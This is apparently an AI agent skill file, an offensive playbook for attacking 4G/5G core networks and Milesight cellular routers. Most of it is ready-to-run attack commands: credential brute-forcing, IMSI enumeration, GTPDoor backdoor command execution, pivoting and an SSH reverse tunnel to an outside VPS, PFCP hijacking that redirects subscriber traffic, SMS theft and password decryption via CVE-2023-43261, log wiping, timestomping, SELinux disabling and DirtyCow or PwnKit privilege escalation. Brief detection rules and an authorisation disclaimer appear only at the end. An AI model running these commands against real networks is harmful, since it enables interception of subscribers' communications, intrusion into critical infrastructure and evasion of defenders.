Telecom Network Exploitation Skill

A comprehensive guide for security assessments of telecom infrastructure including 4G/5G core networks, GTP protocol exploitation, and industrial cellular router vulnerabilities.

When to Use This Skill

Trigger this skill when the user:

• Needs to assess telecom network security (GTP, PFCP, NAS protocols)
• Is testing 5G core network components (AMF, SMF, UPF, MME, SGW, PGW)
• Wants to exploit or test industrial cellular routers (Milesight UR-series)
• Is working with GRX/IPX roaming backbones
• Needs to craft GTP-C/GTP-U packets for testing
• Is investigating 5G NAS security (SUCI, EEA0/EIA0, replay attacks)
• Requires PFCP session manipulation techniques
• Is hunting for telecom-specific attack patterns

Core Concepts

Protocol Stack Overview

Attack Surface Map

┌─────────────────────────────────────────────────────────────┐
│                    TELECOM ATTACK SURFACE                   │
├─────────────────────────────────────────────────────────────┤
│  External → GRX/IPX → Core Network → Data Plane             │
│                                                              │
│  [OSS/NE] → [SGSN/MME] → [GGSN/PGW] → [UPF] → [Internet]   │
│     ↑           ↑           ↑           ↑                   │
│  Default     GTP-C       PFCP        GTP-U                  │
│  Credentials  Exploit    Hijack      TEID Spoof             │
│                                                              │
│  [Industrial Routers] → [SMS API] → [Carrier Network]      │
│       ↑                    ↑                                  │
│  CVE-2023-43261        Unauthenticated                      │
│  (Password Leak)       Query/Inject                          │
└─────────────────────────────────────────────────────────────┘

1. Reconnaissance & Initial Access

1.1 Default Credential Testing

Many vendor network elements ship with hardcoded credentials. Use targeted wordlists:

# Common telecom defaults
root:admin
dbadmin:dbadmin
cacti:cacti
ftpuser:ftpuser
admin:admin

# Brute force with hydra
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://<target> -t 8

Key insight: If the device exposes only a management VRF, pivot through a jump host first before attempting direct access.

1.2 GTP-C Listener Discovery

Map GTP-C services across GRX/IPX backbones:

# Masscan for GTP-C (UDP 2123)
masscan 10.0.0.0/8 -pU:2123 --rate 50000 \
  --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

# Verify with nmap
nmap -sU -p 2123 --script gtp-c-discovery <target>

Note: Most GRX operators still allow ICMP echo across the backbone, enabling host discovery.

2. Subscriber Enumeration

2.1 GTP-C Create PDP Context Probing

Use

cordscan

# Build the tool
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Query a specific IMSI
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

What it reveals:

• Current SGSN/MME serving the IMSI
• Subscriber's visited PLMN
• Network topology information

2.2 IMSI Format Reference

IMSI: 404995112345678
││││││││││││││││││
││││││││││││││││└─ MSIN (Mobile Station International Subscriber Number)
││││││││││││││└─── MNC (Mobile Network Code, 2-3 digits)
││││││││││││└───── MCC (Mobile Country Code, 3 digits)

3. Code Execution via GTP

3.1 GTPDoor Concept

GTPDoor is a covert channel that:

1. Binds UDP 2123 and parses incoming GTP-C packets
2. Decrypts payloads (AES-128-CBC) when magic tag is present
3. Executes commands via

   /bin/sh -c

4. Exfiltrates output via Echo Response messages

Why it works: No outward session is created; traffic blends with legitimate GTP-C.

3.2 Crafting GTPDoor Packets

Use the

gtp_craft.py

# Execute a command via GTPDoor
python3 scripts/gtp_craft.py --type gtpdoor \
  --target 10.10.10.10 \
  --key "SixteenByteKey!" \
  --cmd "id;uname -a"

# Send Create PDP Context probe
python3 scripts/gtp_craft.py --type pdp \
  --imsi 404995112345678 \
  --oper 40499 \
  --target 10.10.10.10

3.3 Detection Signatures

4. Pivoting Through the Core

4.1 SGSN Emulator + SOCKS5

Establish a PDP context tunnel to bypass signaling-only VLANs:

# Start SGSN emulator (requires OsmoGGSN)
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
       -APN internet -c 1 -d

# Add route through tun0
ip route add 172.16.0.0/12 dev tun0

# Start SOCKS proxy
microsocks -p 1080 &

# Use with proxychains
proxychains curl http://internal-service.local

4.2 DNS Tunnel for SSH Reverse

DNS is typically open in roaming infrastructures:

# From compromised host to VPS
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

# VPS must have GatewayPorts enabled in sshd_config

5. Covert Channels

*.nodep

Common pattern: All implants implement watchdogs that timestomp binaries and re-spawn if crashed.

6. 5G NAS Security Testing

6.1 Registration Flow Overview

UE → AMF (N2/NGAP)
  ↓
1. Registration Request (SUCI + capabilities)
  ↓
2. Authentication (RAND/AUTN → RES*)
  ↓
3. Security Mode Command/Complete (EEA/EIA negotiation)
  ↓
4. PDU Session Establishment

Critical window: Steps 1-2 are unauthenticated and unencrypted.

6.2 SUCI/IMSI Privacy Testing

Check for plaintext SUPI/IMSI exposure:

# Wireshark filters
ngap.procedure_code == 15  # InitialUEMessage
nas-5gs.message_type == 65  # Registration Request

# Check for SUCI vs IMSI
nas-5gs.mobile_identity.suci  # Should exist
nas-5gs.mobile_identity.imsi  # Should NOT exist (privacy defect)

What to collect: MCC/MNC/MSIN if exposed; track per-UE across time/locations.

6.3 Algorithm Downgrade (EEA0/EIA0)

Test for null algorithm acceptance:

# Using Sni5Gect to patch NAS capabilities
python3 sni5gect.py --hook nas --patch eea0_eia0_only \
  --target 10.10.20.5 --interface eth0

# Verify in Wireshark after Security Mode Command
# Look for: Encryption in use [EEA0]

Mitigation: Configure AMF to reject EEA0/EIA0 except for emergency services.

6.4 NAS Replay Testing

Use 5GReplay to test replay protection:

# Capture registration
python3 5greplay.py --capture --output reg_capture.xml

# Replay with rule
python3 5greplay.py --replay reg_capture.xml \
  --rule initial_ue_message_forward.xml

What to observe: Whether AMF accepts replay and proceeds to authentication.

7. Industrial Router Exploitation

7.1 Milesight UR-Series SMS API Abuse

Unauthenticated SMS query/inject on exposed

/cgi

# Query outbox
curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_outbox","function":"query_outbox", \
       "values":[{"page":1,"per_page":100}]}'

# Query inbox
curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_inbox","function":"query_inbox", \
       "values":[{"page":1,"per_page":100}]}'

Response fields:

timestamp

content

phone_number

status

7.2 CVE-2023-43261 Password Recovery

Affected: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)

# Extract encrypted password from logs
curl -sk http://<router>/lang/log/httpd.log | \
  grep -o '"password":"[^"]*"' | head -5

# Decrypt with script
python3 scripts/decrypt_milesight.py --encrypted "<base64_value>"

Key/IV: Hardcoded in client-side JavaScript (KEY=

1111111111111111

2222222222222222

7.3 Detection Patterns

/cgi

base

function

query_inbox

query_outbox

POST /cgi

status":"failed"

/lang/log/system

/lang/log/httpd.log

8. PFCP Session Hijacking

8.1 Session Modification Attack

If PFCP is accessible on N4, craft Session Modification Request:

# Use the pfcp_hijack.py script
python3 scripts/pfcp_hijack.py \
  --upf 10.10.20.5 \
  --seid 0x123456789abc \
  --pdr-id 7 \
  --far-id 77 \
  --sink-ip 203.0.113.55 \
  --teid 0xdeadbeef

Mechanism: Insert duplicate PDR with smaller precedence; some UPFs apply first match.

8.2 GTP-U TEID Spoofing

Inject user traffic by spoofing TEIDs:

# Craft GTP-U packet with known TEID
python3 scripts/gtp_craft.py --type gtpu \
  --teid 0x7ffed00 \
  --dst 10.10.20.8 \
  --inner-src 10.0.0.10 \
  --inner-dst 1.1.1.1 \
  --inner-dport 443

Prerequisite: Learn active TEIDs via passive sniffing on N3/N6.

9. SBA/SBI Fuzzing

9.1 Cross-Service Token Attack

Reuse tokens across NF services when audience checks are missing:

# Steal token from one NF, use on another
curl -sk -H "Authorization: Bearer $TOKEN" \
     -H "Host: smf.internal" \
     https://smf.internal/nsmf-pdusession/v1/sm-contexts

9.2 Automated Fuzzing

Use FivGeeFuzz with derived grammars:

python3 fivgeefuzz.py --nf nsmf-pdusession \
  --target https://smf.internal \
  --grammar grammars/nsmf-pdusession.json \
  --token "$TOKEN" --threads 8 --max-cases 500

Watch for: 401/403 bypasses, crashes in SMF/AMF pods.

10. Defense Evasion

10.1 Log Manipulation

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/<attacker_ip>/d' | \
  utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null
history -c

10.2 Process Hiding

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup
printf '\0' > /proc/$$/comm  # Appears as [kworker/1]

# Timestomp binaries
touch -r /usr/bin/time /path/to/implant

10.3 SELinux Bypass

setenforce 0  # Disable SELinux (requires root)

11. Privilege Escalation on Network Elements

11.1 Common Exploits

gcc dirty.c -o dirty && ./dirty /etc/passwd

python3 PwnKit.py

python3 exploit_userspec.py

11.2 Cleanup

userdel <attacker_user> 2>/dev/null
rm -f /tmp/sh
history -c

12. Detection & Hunting

12.1 Network Detection Rules

udp.port==2123 and not src.ip in sgsn_range

tcp.port in (53,80,443) and tcp.flags.syn==1 and ssh.handshake

udp.port==2123 and gtp.type==1 and echo_request_count > echo_response_count

icmp.type==0 and icmp.identifier > 0 and icmp.sequence > 0

ngap.procedure_code==15 and nas.message_type==65 and same_source_ip

nas.security_mode and eea==0 or eia==0

pfcp.msg_type==MODIFICATION and duplicate_pdr_id

http.authorization.bearer and aud != target_nf

12.2 Asset Inventory

# Shodan queries for exposed routers
shodan search http.html:"rt_title"  # Milesight panels
shodan search "Milesight" "UR32" "UR35" "UR41"

# Google dorking
google "/lang/log/system" ext:log
google inurl:/cgi "query_outbox"

13. Tool Box

cordscan

GTPDoor

EchoBackdoor

NoDepDNS

sgsnemu

5GReplay

Sni5Gect

FivGeeFuzz

FScan

Responder

Microsocks

FRP

14. Lab Setup

14.1 5G Core Testbed

# Open5GS deployment (sufficient for most tests)
docker-compose -f open5gs-compose.yaml up -d

# Components: AMF, SMF, UPF, HSS, PCF
# Interfaces: N1 (UE-AMF), N2 (gNB-AMF), N4 (SMF-UPF)

14.2 Wireshark Display Filters

# NGAP InitialUEMessage
ngap.procedure_code == 15

# NAS Registration Request
nas-5gs.message_type == 65

# GTP-C Create PDP Context
gtpv1.message_type == 1

# PFCP Session Modification
pfcp.msg_type == 25

# SUCI vs IMSI
nas-5gs.mobile_identity.suci
nas-5gs.mobile_identity.imsi

15. References

Standards

• 3GPP TS 29.060 – GPRS Tunnelling Protocol (GTPv1)
• 3GPP TS 29.281 – GTPv2-C
• 3GPP TS 24.501 – NAS protocol for 5GS
• 3GPP TS 33.501 – Security architecture for 5G System

Research & Reports

• Palo Alto Unit42 – Infiltration of Global Telecom Networks
• Bishop Fox – Demystifying 5G Security
• Sekoia.io – Silent Smishing
• CVE-2023-43261 – NVD
• Cross-Service Token in 5G Core

Vulnerabilities

• CVE-2016-5195 (DirtyCow)
• CVE-2021-4034 (PwnKit)
• CVE-2021-3156 (Baron Samedit)
• CVE-2023-43261 (Milesight Password Leak)

Usage Notes

1. Legal compliance: Only use these techniques on networks you own or have explicit authorization to test.

2. Lab first: Always validate techniques in a controlled lab environment (Open5GS, OAI) before field deployment.

3. Documentation: Record all findings, including false positives and detection bypasses.

4. Tool updates: Keep custom tools updated; telecom protocols evolve with 3GPP releases.

5. Defense perspective: Understanding these attacks helps design better detection rules and hardening measures.